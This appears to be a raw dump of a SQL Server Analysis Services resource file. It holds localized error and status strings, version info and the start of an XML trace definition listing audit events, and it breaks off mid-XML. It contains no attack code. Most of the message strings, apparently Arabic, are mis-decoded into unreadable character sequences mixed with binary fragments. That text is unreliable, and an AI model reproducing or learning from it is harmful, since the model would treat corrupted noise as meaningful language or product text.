'D-5HD 9DI E.5QP5 'D0'C1) EF EC*() COM ('DECHF 'D.'1,J).E-/+ .7# (JFE' C'F J*E (/! ./E) 'D.7# 'DEH39) D@ COM ('DECHF 'D.'1,J).4-/+ .7# #+F'! *-EJD ECHF E1(9 -H'1 'D'*5'D DDE7'D().\-/+ .7# (JFE' C'F J*E '3*1/'/ E9DHE'* E+JD E3E') EF ./E) SQLBrowser 9DI 'D.'/E '%{server/}'.(-/+ .7# #+F'! E9'D,) 7D( DA*- EC9( E-DJ.*-/+ .7# #+F'! %13'D 7D( %DI 'DEC9( 'DE-DJ.3-/+ .7# #+F'! %:D'B 7D( *E %,1'$G AJ 'DEC9( 'DE-DJ.5*E *9JJF .'5J) "'D.5'&5 'DEH39)" %DI BJE) :J1 E9*E/).;DB/ *:J1* -'D) 'D#E1 HD' JECF '3*1/'/ "E,EH9) 5AHA 'DF7'B".[DB/ *:J1* F*J,) 'D'3*9D'E 9DI 'D.'/E. HD' *3*7J9 'DC*'() 'D.DAJ) DD.DJ) E9'D,) G0' 'D*:JJ1.4D' JECF /9E 'DE3*HI 'DE7DH( EF 'D.5H5J) D'*5'D HTTP.JD' JECF *9JJF .'5J) "'D#E'F 'DE*C'ED" AJ -'D) *HAJ1 '3E E3*./E HCDE) E1H1.E*:J1* .5'&5 'D.DJ) 'D.'5) (E,EH9) 'D(J'F'* (9/ 9EDJ) 'DC*'() 'D.DAJ).�*901 *#3J3 '*5'D (.'/E ./E'* 'D*-DJD '%{server/}'/'%{instance/}'. 'D1,'! 'D*#C/ EF %EC'FJ) 'D'*5'D ('D.'/E '%{server/}' H#FG *E *ECJF ./E) EO9J/ 'D*H,JG SQLBrowser.VD' J,( 9DI 3D3D) 'D'*5'D *HAJ1 'DC*'DH, 'D#HDJ 9F/E' JCHF E5/1 'D(J'F'* GH E5FA Excel.BD' J,( *-/J/ "H69 'D*-1J1" 9F/E' JCHF E5/1 'D(J'F'* DJ3 9FH'F url.JD' J,( *-/J/ "%5/'1 E5/1 'D(J'F'*" 9F/E' JCHF E5/1 'D(J'F'* DJ3 9FH'F url.&DE J*E *4CJD EDA 'D'*5'D *4CJD' ,J/K'.4'DEDA #C(1 EF 'D-/ 'D#B5I 'DE3EH- (G HGH 4096 -1AK'.VJ,( 9/E *9JJF 'D#E'F 'DE*C'ED #H *9JJFG %DI ClaimsToken #H SSPI DDH5HD %DI G0' 'D.'/E.l-/+ .7# #+F'! *FAJ0 9EDJ) 7D( HTTP EB'(D URL "%{strURL/}". *A'5JD %6'AJ): %d{lastError/}, "%{callDetails/}".8E5/1 'D(J'F'* "%{strURL/}" D' J*H'AB E9 'D*F3JB 'DE*HB9.ZEHA1 'DGHJ) "%{identityProvider/}" AJ 3D3D) 'D'*5'D 'DE*HA1) D' J*H'AB E9 'D*F3JB 'DE*HB9.7J*901 *91JA EHA1 'DGHJ) DDH5HD %DI 'D.'/E "%{strURL/}".%J*901 *-DJD 3D3D) 'D'*5'D (4CD EF'3(.73D3D) 'D'*5'D **7D( *-/J/ 'DC*'DH, 'D#HDJ D@ PBI 'D.'5.H3D3D) 'D'*5'D **7D( *-/J/ 'DC*'DH, 'DEBJ/ H*9JJFG %DI 5H'( D@ PBI 'D.'5.NJ,( 9/E *9JJF 'D#E'F 'DE*C'ED #H *9JJFG %DI ClaimsToken DDH5HD %DI G0' 'D.'/E.{('DF3() D@ Azure Analysis Servers AJ -'D) *9JJF 'D#E'F 'DE*C'ED %DI SSPI J*901 *9JJF .'5J) UseADALCache AJ 3D3D) 'D'*5'D.NJ,( 9/E *9JJF 'D#E'F 'DE*C'ED #H *9JJFG %DI ClaimsToken DDH5HD %DI G0' 'D.'/E.A4D *-EJD 'DECHF 'DEO/'1 ADAL.-DE J*E 'D9+H1 9DI E3'-) 9ED Power BI 'DE-//).PA1E3'-) 9ED Power BI 'DE-//) DJ3* E3'-) 9ED E*EJ2).�J*9'16 '3E E3'-) 9ED Power BI 'DE-//) E9 #3E'! E3'-) 'D9ED 'D#.1I. 'D1,'! '3*./'E ''3E E3'-) 'D9ED-E91A A1J/ 9EHEJ DE91A 'DC'&F' DD*9'ED E9 E3'-) 'D9ED.3Uri E5/1 'D(J'F'* 'DE-// '%{uri/}' (*F3JB :J1 5'D-.EJ*901 'D-5HD 9DI 1E2 'DE5'/B) 'DEEJ2 ('3*./'E (J'F'* 'D'9*E'/ 'DE*HA1). AJ -'D) *CHJF E3$HD E3*#,1 Active Directory 'D*'(9 DG D./E) Multi-Factor Authentication #H C'F -3'(C 9('1) 9F -3'( Microsoft 'D1,'! *-/J/ 'DBJE 'DA'1:) DD-BDJF "'3E 'DE3*./E" H"CDE) 'DE1H1" +E #9P/ 'DE-'HD). 3**E E7'D(*C (9/ G0' (%/.'D (J'F'* '9*E'/C.GJ*901 'D-5HD 9DI 1E2 'DE5'/B) 'DEEJ2 ('3*./'E (J'F'* 'D'9*E'/ 'DE*HA1).>-/+ .7# 9F/ *9JJF '%{option/}'. *A'5JD %6'AJ): %d{lastError/}.	!A6!ApP!AP!A<-!�!�h.!�!��0!�!��0!�,!�L<1!�3!��JJ!�L!�DMQ!�Y!�tNL(/#* 'D./E). %1 %2 (%3) %4 %5.%0

(*HBA* 'D./E).%0

FA/* 0'C1) 'DF8'E. %0' CF* *3*./E %5/'1 32 (* EF 'DEF*, ABE ('D*1BJ) %DI 'D%5/'1 64 (* #H 2J'/) EB/'1 'D0'C1) 'DE*'-) 9DI ,G'2C.%0

<*E (/! 3,D 'D'3*9D'E'*.%0

@*E %JB'A 3,D 'D'3*9D'E'*.%0

@*E (/! E3,D 1-D) 'D7J1'F.%0

D*E %JB'A E3,D 1-D) 'D7J1'F.%0

�*E *-EJD EHA1 .H'12EJ) *,EJ9 'D(J'F'* (ProgID: %1) 'D.'5 ('D.H'12EJ) %2.%0

4*E (/! 3,D 'D#.7'!.%0

8*E %JB'A 3,D 'D#.7'!.%0

T%F *,E9 E$41 'D*1'(7 %1 JH,/ (G 'D"F %2 EF #/FI -/ EF E$41'* 'D*1'(7, H%3 EF #B5I -/ EF E$41'* 'D*1'(7 H*2'EF D@ %4. HBF'9 *B'1( *,E9 E$41 'D*1'(7 'D.'5 (G GH %5.%0

(%F 'D*,E9 'DA19J DE$41 'D*1'(7 %1 0' 'D*B'1( %5 JH,/ (G 'D"F %2 EF #/FI -/ EF E$41'* 'D*1'(7, H%3 EF #B5I -/ EF E$41'* 'D*1'(7, H*2'EF D@ %4.%0

�C4A %/'1) 'D*#EJF 9F *HBA *'E AJ B'9/) 'D(J'F'* '%1'. E91A 'DE9'ED) 'DE5'() 'DE-//) GH %2 HE91A ,D3) 'D9ED GH %3.%0

�AJ H69 OnPremise D' JO3E- (*FAJ0 EDA XMLA 'DE-// AJ %9/'/'* 'D*CHJF.%0

P*E *97JD EB'JJ3 '3*./'E 'D(1F'E,.%0

PA4D (/! EB'JJ3 '3*./'E 'D(1F'E,.%0

T(/#* EB'JJ3 '3*./'E 'D(1F'E, (F,'-.%0

0'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: DE J*E 'DC4A 9F 'D9D'B) EF E,EH9) 'DBJ'3'* '%1' %DI '%2' D#FG' *-*HJ 9DI *FAJ0 E*C11 AHB 'D3E) 'D#3'3J).%0

('D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: *E* %9'/) *3EJ) 'D,/HD DE,EH9) 'DBJ'3'* '%1' %DI '%1 ('DBJ'3'*)' F81K' DH,H/ (9/ (FA3 'D'3E ('DA9D.%0

t'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: D' J*E 'DC4A 9F 'D*3D3D 'DGJCDJ '%1' 'D.'5 ('D(9/ '%2' D#F #-/ E3*HJ'*G J4J1 %DI 'D9EH/ '%3' :J1 'DEH,H/ AJ ,/HD 'D#(9'/ AJ 'D916 'D,/HDJ.%0

H'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E %F4'! 'D,/HD 'D,/J/ '%1' DD3E) '%2' :J1 'DB'(D) DD*,EJ9 D#F 'D#96'! 'DE-3H(JF EH,H/JF AJ 'D*3D3D 'DGJCDJ DD3E'*.%0

\'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *,'GD 'D#96'! 'DE-3H(JF DD*3D3D 'DGJCDJ 'DE*9DB ('D3E'* '%1' 'D.'5 ('D(9/ '%2' D#F 'D3E) *-*HJ 9DI #C+1 EF 96H -BJBJ H'-/.%0

�'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *,'GD 'D#96'! 'DE-3H(JF DD*3D3D 'DGJCDJ 'DE*9DB ('D3E'* '%1' 'D.'5 ('D(9/ '%2' D#F 'D3E) *-*HJ 9DI 'D#96'! 'DE-3H(JF 9F/ 'DE3*HI ('DCD) #H *-*HJ 9DI 3E'* 0'* 5D).%0

<'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *,'GD 'D#96'! 'DE-3H(JF DD*3D3D 'DGJCDJ 'DE*9DB ('D3E'* '%1' 'D.'5 ('D(9/ '%2' D#FG *3D3D GJCDJ #5DJ-*'(9.%0

'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *,'GD 'D3E) '%1' 'D.'5) ('D(9/ '%2' H'3*./'EG' AB7 CEA*'- 5F'9J D#F 'D(9/ JCHF #5DJ-*'(9.%0

�'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: :J1 B'/1 9DI %F4'! 'DBJ'3 '%1' F81K' DH,H/ BJ'3 (G0' 'D'3E ('DA9D.%0

D71JB) 'D916 E*9//) 'D#(9'/ %DI 71JB) 'D916 'DE(H(): DE **E %6'A) ,EJ9 #9E/) 'D,/HD '%1' %DI 4,1) 9D'B'* 'D3E'* (3(( *97JD 'D*3D3D 'DG1EJ D(96 3E'* 'DEC9(.%0

t-/+ .7# #+F'! '3*/9'! 'D/'D) %1. .7# 'DF8'E GH: %2%0

(/# 'D'3*E'9 9DI TCPIP: Status = %1, ComputerName = %2, PhysicalNetBIOSName = %3,  ListenOnIP = %4, Port = %5, ProtocolType = %6%0

pE9DHE'* 'DE9'DP,: NumberOfNumaNodes = %1, NumberOfAffinityGroups = %2, NumberOfCPUs = %3, NumberOfPhysicalCores = %4, NumberOfLogicalCores = %5, PhysicalMemoryAvailable = %6 GB%0

�C4A* %/'1) 'D*#EJF 9F 'F*G'! EGD) 'D*#EJF AJ B'9/) 'D(J'F'* '%1' DC'&F EF 'DFH9 %2 HFH9 'D*#EJF %3.%0

�C4A %/'1) 'D*#EJF 9F *HBA *'E AJ B'9/) 'D(J'F'* '%1'. E91A 'DE9'ED) 'DE5'() 'DE-//) GH %2 HE91A ,D3) 'D9ED GH %3.%0

�*B1J1 -'D) *9'16 'D*#EJF: J$/J %JB'A 'DE9'ED) AJ E91A EDA *91JA 'D./E) %1 %DI -81 'DE9'ED) AJ E91A EDA *91JA 'D./E) %2.%0

�EDA *91JA DB7'* E3,D E/) 'D*4:JD '%1' :J1 EH,H/ D0' J*E *.7J *GJ&) F4'7 'DDB7'*.%0

�'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: *E *,'GD 'D96H 'D'A*1'6J DD*3D3D 'DGJCDJ 'DE*9DB ('D3E'* '%1' DD(O9/ '%2' D#FG 96H E-3H( HJ*E -'DJK' *CHJF 'D.'/E (DAXMDIgnoreCalculatedMemberAsDefaultMember) D*,'GD G0G 'D#96'!.%0

�'D/.HD AJ H69 'D0'C1) 'DEF.A6) ('3*GD'C 'D0'C1) 'D-'DJ: %1 EJ:'('J*).%0

pDB/ */GH1 H69 'D0'C1) 'DEF.A6) ['DE1-D): %1] ('3*GD'C 'D0'C1) 'D-'DJ: %2 EJ:'('J* -/ 'D0'C1) 'DEF.A6): %3 EJ:'('J* -/ 'D*F8JA 'D#HD: %4 EJ:'('J* -/ 'D*F8JA 'D+'FJ: %5 EJ:'('J* -0 0'C1) 9'DM: %6 EJ:'('J* -/ 'D*F8JA 'D+'D+: %7 EJ:'('J* -/ 'D*F8JA 'DFG'&J: %8 EJ:'('J* -/ 'D0'C1) 'D59(: %9 EJ:'('J*).%0

lDB/ *-3F H69 'D0'C1) 'DEF.A6) ['DE1-D): %1] ('3*GD'C 'D0'C1) 'D-'DJ: %2 EJ:'('J* -/ 'D0'C1) 'DEF.A6): %3 EJ:'('J* -/ 'D*F8JA 'D#HD: %4 EJ:'('J* -/ 'D*F8JA 'D+'FJ: %5 EJ:'('J* -0 0'C1) 9'DM: %6 EJ:'('J* -/ 'D*F8JA 'D+'D+: %7 EJ:'('J* -/ 'D*F8JA 'DFG'&J: %8 EJ:'('J* -/ 'D0'C1) 'D59(: %9 EJ:'('J*).%0

 + 'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *B3JE 'D3E) '%1' DD(O9/ '%2' 9DI #9E/) E*9//) D#FG' *-*HJ 9DI *1,E'* #96'!.%0

� + 'D916 'DE*9// 'D#(9'/ %DI 'D916 'D,/HDJ: J*E *B3JE 'D3E) '%1' DD(O9/ '%2' 9DI 9/) #9E/) (3(( 'D%9/'/ OrderBy.%0

�*E 'D9+H1 9DI EDA (J'F'* *91JA B'9/) 'D(J'F'* %1 #+F'! (/! *4:JD 'D.'/E *E 92D B'9/) 'D(J'F'* (F,'-.%0

8(/# '3*1/'/ 'DE9'ED).%0

@*E '3*1/'/ 'DE9'ED) (F,'-%0

D*E 'D9+H1 9DI EDA 'D*-6J1.%0

<'DE9'ED) 'DEH29) E9DB).%0

T*E 'D9+H1 9DI EDA E.77 %5/'1 1&J3J.%0

\DE J*E 'D9+H1 9DI EDA E.77 %5/'1 1&J3J.%0

L*E 'D9+H1 9DI E.77 %5/'1 E/E,.%0

L(/# 'DED-B MSOLAP ISAPI (F,'-.%0

H*E %JB'A 'DED-B MSOLAP ISAPI.%0

�3J3*./E 'DE,/HD B'&E) 'F*8'1 B'(D) DD*4:JD EF 'DFH9 = %1 ('D3((: %9/'/'* %2).%0

�J3*./E 'DE,/HD FG, 'D*91A 9DI NUMA. 'D9OB/ = %1 'DE,EH9'* = %2 H-/'* 'DE9'D,) 'DE1C2J) = %3 'DE1'C2 = %4.%0

hJ3*./E 'DE,/HD FG, 'D*916 'DB5J1. 'D9OB/ = %1 'DE,EH9'* = %2 H-/'* 'DE9'D,) 'DE1C2J) = %3 'DE1'C2 = %4. %9/'/'* 'D*916: nReservedFastCompute = %5 HnDecayIntervalMs = %6.%0

�J3*./E 'DE,/HD FG, 'D*916 'DB5J1. 'D*CHJF 'DE/9HE = %1 B'&E) 'F*8'1 Vertipaq Leaf 'D'A*1'6J) = %2 'D31B) 'DEECF) = %3 (J&) E*9//) 'DE1'C2 = %4 'D-,2 'DC'AJ D-ED 'D9ED 'D31J9 H'D(7J! = %5.%0

0(/# *9B( 'DEH1/.%0

,.'5J) 'D*CHJF VertiPaqPagingPolicy DE *9/ */9E %9/'/ EDA'* E.77) D0'C1) (2). *E 6(7 'D%9/'/'* *DB'&JK' D'3*./'E *1-JD 'DF8'E (1) (/D'K EF G0'.%0

�*901 *-EJD EHA1 .H'12EJ) ,E9 'D(J'F'* (ProgID: %1) 'D.'5 ('D.H'12EJ) %2. %3%0

HJ*9'16 EDA DC'&F (J'F'* Vertipaq EF3H. '%1' E9 EDA C'&F (J'F'* 1&J3J. *9'16 #3E'! 'DEDA :J1 E*HB9 HAJ -'D) A4D 'D9EDJ) AB/ J$/J G0' %DI *DA B'9/) 'D(J'F'*.%0

H*E* %9'/) %F4'! EDA 'D*CHJF.%0

4*901 (/! 'D./E): %1%0

%1%0

%1%0

X-/+ .7# #+F'! (/! E3,D 1-D) 'D7J1'F.%0

(-/+ .7# #+F'! %F4'! ,/HD 3,D 'D'3*9D'E'*. *-BB EF 3D3D) '*5'D 3,D 'D'3*9D'E #H 'D#0HF'* #H B'9/) (J'F'* 3,D 'D'3*9D'E'* (-+K' 9F E4CD'*: %1.%0

`-/+ .7# #+F'! C*'() 'D(J'F'* %DI 3,D 'D'3*9D'E'*. ('D1:E EF %*E'E %F4'! 'D,/HD *HBA *3,JD 'D'3*9D'E. *-BB EF B'9/) (J'F'* 3,D 'D'3*9D'E #H 'D#0HF'* DE91A) 'DE4CD'*: %1%0

T-/+ .7# #+F'! (/! 3,D 'D'3*9D'E'*.%0

�*901 %F4'! EH1/ (-/+) F8'E 'D*4:JD #+F'! *GJ&) 'DC*'() 'D(7J&).%0

�*901 %F4'! EH1/ (E$41 *1'(7) F8'E 'D*4:JD #+F'! *GJ&) 'DC*'() 'D(7J&).%0

`-/+ .7# #+F'! %:D'B EDA %.1', 'D**(9 %1.%0

d-/+ .7# #+F'! C*'() -/+ **(9 %DI 'DEDA %1.%0

l-/+ .7# #+F'! C*'() -/+ **(9 %DI E,EH9) 'D5AHA.%0

�'F*G* EGD) 'D**(9 #+F'! 'D'F*8'1 D%FG'! E13D E,EH9) 5AHA TCP.%0

�-/+ .7# #+F'! E-'HD) 'D./E) *BDJ5 *,E9 '*5'D B'9/) 'D(J'F'*.%0

X-/+ .7# #+F'! %JB'A 3,D 'D'3*9D'E'*.%0

L-/+ .7# #+F'! (/! 3,D 'D#.7'!.%0

P-/+ .7# #+F'! %JB'A 3,D 'D#.7'!.%0

%1%0

%1%0

dA4D* 'DE9'D,) 'D(7J&) (3(( 'D.7# 'D*'DJ: %1%0

�*901 *-EJD EDA 'D*CHJF. 1(E' *916 'DEDA DD*DA #H J-*HJ 9DI XML :J1 5'D-). %1%0

�*901 -A8 EDA 'D*CHJF. 1(E' *E *#EJF 'DEDA EF BP(D (1F'E, ".1. %1%0

`*901 *-EJD EA*'- *4AJ1 B'9/) 'D(J'F'*: %1%0

H*901 1(7 C'&F (J'F'* 'D*91JA%0

�*901 *-EJD EDA 'DEH'1/ '%1' DD:) 'DE-DJ) '%2'. J*E 'D*(/JD %DI 'D%FCDJ2J) - 'DHD'J'* 'DE*-/) (1033) %F *HA1*.%0

p:J1 B'/1 9DI 'D9+H1 9DI SQLSQM.EXE #H (/&G (F,'-.%0

�A4D AJ *-EJD EDA *CHJF 'D.'/E: 'D%9/'/ %1 'D0J J-*HJ 9DI value=%2 :J1 5-J-. '3*./E msmdsrv.bak D'3*9'/) msmdsrv.ini.%0

�A4D *-EJD ED-B 'DECHF 'D%6'AJ DD.'/E 'DE91QA AJ 'D*,EJ9 %1. 8G1 'D.7# ('D#.7'!) 'D*'DJ #+F'! *GJ&) 'DECHF 'D%6'AJ. %2%0

lD' JECF %1A'B B'9/) 'D(J'F'* D-/H+ .7# #+F'! *-EJD 3,D 'DA5D EF 'DEDA '%1'. #-/ 'D#3('( 'DE-*ED) GH #F B'9/) 'D(J'F'* B/ *E ('DA9D %1A'BG' AJ H69 ReadWrite %DI E+JD .'/E ".1.%0

t*901 -0A 'DEDA '%1'. 'D1,'! 'D*-BB EF #0HF'* 'DEDA.%0

x*901 -0A 'D/DJD '%1'. 'D1,'! 'D*-BB EF #0HF'* 'D/DJD.%0

�*901 FBD 'DEDA #H 'DE,D/ '%1'. 1(E' *E *#EJFG EF BP(D 'DAG13) #H (1F'E, EC'A-) 'DAJ1H3'*.%0

d-/+ .7# #+F'! *1',9 'DE9'ED) (HRESULT=%1).%0

�*901 A*- 'DEDA '%1'. 'D1,'! 'D*-BB EF #0HF'* 'DEDA #H 'DF81 AJ '-*E'DJ) BJ'E *7(JB'* #.1I (*#EJFG.%0

0:J1 B'/1 9DI %,1'! E9'ED) Synch (#E'F; *E %,('1 'D.'/E 9DI %JB'A 'D*4:JD: 3J*E '3*1/'/ B'9/) 'D(J'F'* 'DB/JE) 0'* ID='%1' #+F'! (/! *4:JD 'D.'/E.%0

lJ*901 (/! 'D.'/E AJ 'DH69 ,/HDJ D#F 'D'E*J'2 'DE7DH( D*#EJF 'D0'C1) :J1 EH,H/ (SE_INC_WORKING_SET_NAME #H SE_INC_BASE_PRIORITY_NAME, '9*E'/K' 9DI %5/'1 F8'E 'D*4:JD 'D0J D/JC)%0

4A4D* *GJ&) XEvent.%0

XA4D* 9EDJ) 'D*/BJB. *E %JB'A 'D./E).%0

�8G1 .7# #+F'! *BJJE *9(J1 'D#E'F 9DI E3*HI 'D5A. 'D/H1: '%1'. 'DE3*./E: '%2'. 'D,/HD: '%3'. 13'D) 'D.7#: %4.%0

�*E *F3JB %9/'/ *CHJF GroupAffinity D*,EJ9 E$41 'D*1'(7 (4CD :J1 5-J-. J,( #F J-*HJ 'D%9/'/ 9DI *3D3D EB3HE (A'5D) EF 'D3D'3D 'D3/'3J) 'D941J) 'D*J *-*HJ 9DI #BF9) *B'1( DCD E,EH9) E9'D, 9DI 'DF8'E.%0

�*901 %F4'! *,EJ9 E$41 'D*1'(7 %1 D#F %9/'/ *CHJF GroupAffinity DE JF*, 9FG *9JJF #J E9'D,'* D*,EJ9 E$41 'D*1'(7.%0

�**7D( %9/'/'* *CHJF *B'1( 'DE,EH9) H-/'* CPU #C+1 EE' GH E3EH- (G AJ G0' 'D%5/'1.%0

�%F %9/'/'* *CHJF *B'1( 'DE,EH9) **7D( E1'C2 #C+1 EE' GH E3EH- (G AJ G0' 'D%5/'1.%0

h*901 9DI EB'JJ3 '3*./'E 'D(1F'E, *-EJD DCOM.%0

�-/+ '3*+F'! :J1 B'(D DD'3*1/'/ #+F'! *4:JD CHE) 'D0'C1) 'DE$B*) AJ Windows J*E %FG'! 'D9EDJ) HABK' D%9/'/ config Log\Exception\ExitOnMemoryHeapCorruption. Log\Exception\ExitOnMemoryHeapCorruption.%0

�'D'3*9D'E 'DEO13D %DI E-1C Vertipaq E9B/ ,/K' F81K' D'-*H'&G 9DI 3D3D) 9D'B'* 7HJD) ,/K'.%0

\A4D* *GJ&) EH29 13'&D 'D#-/'+ DE-1C M.%0

lA4D %JB'A EH29 13'&D 'D#-/'+ DE-1C M. 'D'3*+F'!%0

hA4D* *GJ&) 'DH-/) 'DFE7J) ZipLoadSaveHelper.%0

-/+ .7# #+F'! /E, EDA E.77 %5/'1 'DE9'ED) %1 AJ EDA E.77 'D%5/'1 'D1&J3J EF 'DE-*ED #F JCHF 'D3(( GH EDA E.77 %5/'1 E9'ED) *'DA.%0

<-/+ '3*+F'! :J1 E*HB9.%0

�-/+ '3*+F'! *,'H2 39) EC/3 'D0'C1) 'DE$B*) *E 'D'9*1'6 HDCF 9DJF' %FG'! 'D9EDJ).%0

-/+ '3*+F'! :J1 E9'D, *E 'D'9*1'6 HDCF 9DJF' %FG'! 'D9EDJ) *(9K' D%9/'/ 'D*CHJF Log\Exception\ExceptionHandlingMode 'DEO9JF %DI 2.%0

�*,'H2 9// 'D*A1J:'* 'DEOF4#) %9/'/ 'D*CHJF Log\Exception\MaxExceptions J,1J %FG'! 'D9EDJ).%0

HA4D (/! 'DED-B MSOLAP ISAPI.%0

pA4D 'D9+H1 9DI EDA EA*'- 'D*4AJ1 AJ F8'E 'DEDA'*.%0

�-/+ .7# E' AJ E1-D) G'E) EF 'DE9'ED) *E 'D'9*1'6 HDCF 9DJF' %FG'! 'D9EDJ).%0

�DE J*E *91JA '3E 3E) ('D9F51 event_session AJ 'D**(9 '%1'.%0

�4VS_VERSION_INFO����?$StringFileInfo040104B0PlatformNT�NLegalTrademarks*O9/ Microsoft Analysis Services 9D'E) *,'1J) E3,D) D@ Microsoft Corporation."CommentsSSAS&GoldenBitsTrueLCompanyNameMicrosoft Corporationv'FileDescriptionMicrosoft SQL Server Analysis Services�2FileVersion2018.0151.0005.15 ((BI_ASEngine_Dev).190923-1837)<InternalName3D'3D 'DEH'1/bLegalCopyrightMicrosoft. C'A) 'D-BHB E-AH8).@OriginalFilenamemsmdsrv.rllXProductNameMicrosoft Analysis Services8
ProductVersion15.1.5.15DVarFileInfo$Translation�<TRACEDEFINITION>
  <!--
  
  How to add a new trace event:
  
  1)  If a new category is needed, create a new event EVENTCATEGORY node below under EVENTCATEGORYLIST
  2)  If a new event is needed, first add a new event ID to PF_TRACE_EVENTS in pf\kernel\shared\pfshtrace.h
  3)  For the new event, add a new event node below using the above event ID
  4)  If a new subclass is needed, add a subclass event ID to PF_TRACE_EVENT_SUBCLASS in pf\kernel\shared\pfshtrace.h
  5)  For the new subclass, first make sure you've added an EVENTCOLUMN of ID 1 to your event
  6)  For the new subclass, add a new EVENTCOLUMNSUBCLASS under a EVENTCOLUMNSUBCLASSLIST node under the EVENTCOLUMN from above
  7)  Add more COLUMN nodes under the COLUMNLIST for the event (this will be union of all columns needed for all subclass events)
      NOTE: Must always include a COLUMN for RequestID (47) and ServerName (43)
  8)  Generate new wrapper code and XEvents:
      a) Generate new guids (i.e. using [System.Guid]::NewGuid().ToString()) and update the \src\pf\xe\xeguids.csv with them
      b) run \src\pf\xe\Extract-ColumnDefinition.ps1
      c) update \src\pf\xe\Extract-TraceDefinition.ps1 with the output of step b) above and run it
      d) run \src\pf\xe\gen_XEFiles.cmd
  9)  Update the Amo classes using AmoCodeGenerator.exe
      - you can invoke the UpdateAmoTraceFiles.bat script adjacent to this file, or
      - you can do it manually:
        a) Build the AmoCodeGenerator at \Sql\Picasso\Utils\AMOCodeGenerator
        b) Regenerate events: <...>\Sql\Picasso\Utils\bin.x64.Debug\AMOCodeGenerator.exe /events <...>\Sql\Picasso\objectmodels\src\AnalysisServices\TraceEventArgs_gen.cs
        c) Regenerate enums: <...>\Sql\Picasso\Utils\bin.x64.Debug\AMOCodeGenerator.exe /enums <...>\Sql\Picasso\objectmodels\src\AnalysisServices\enums_gen.cs
  10) Build / start server / connect with the Profiler, you should see your new event, this is all that is needed to see new events in profiler
  11)  For shipping, you will need to support TRC tracing which requires a new TraceDefinition file added to SSMS/PBI Desktop/etc.. using the instructions below
  
  How to add your new events to the SSMS/PBI Desktop/etc.. trace definitions:
  
  1)  Please clear local AS profiler trace definition cache 
         (<Microsoft SQL Server installation path>\<version>\Tools\Profiler\TraceDefinitions\Microsoft Analysis Services TraceDefinition <latest version number>.xml) 
         to reflect the latest update
  2)  The following files also need corresponding update:
         FlightRecorderTraceDef_Template.xml, FlightRecorderTraceDefWithEngineActivity_Template.xml
         <enlistment>\Sql\mpu\ssms\packages\Profiler\trc_clnt\utest\Xml\Microsoft SQL Server TraceDefinition <version>.0.0.xml
  3)  Please follow the instructions here when updating tracedefinition.xml:
      http://sharepoint/sites/sqlserver/sqlwiki/Instructions%20to%20Re-generate%20the%20event%20definitions%20info%20for%20AS%20and%20DB%20Engine.aspx
  -->

  <_locDefinition>
    <!-- To Do: uncomment following line to set elements as none-localizable by default -->
    <_locDefault _loc="locNone"/>
  </_locDefinition>

  <TRACEPROVIDER>
    <NAME>Microsoft Analysis Services</NAME>
    <VERSION>
      <MAJOR>15</MAJOR>
      <MINOR>0</MINOR>
      <BUILDNUMBER>0</BUILDNUMBER>
    </VERSION>
    <TYPE>RTM</TYPE>
    <DESCRIPTION>Normal trace definition</DESCRIPTION>
  </TRACEPROVIDER>

  <EVENTCATEGORYLIST>
    <EVENTCATEGORY>
      <NAME>Security Audit</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of database audit event classes.</DESCRIPTION>
      <EVENTLIST>
        <EVENT>
          <ID>1</ID>
          <NAME>Audit Login</NAME>
          <DESCRIPTION>Collects all new connection events since the trace was started, such as when a client requests a connection to a server running an instance of SQL Server.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>2</ID>
          <NAME>Audit Logout</NAME>
          <DESCRIPTION>Collects all new disconnect events since the trace was started, such as when a client issues a disconnect command.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
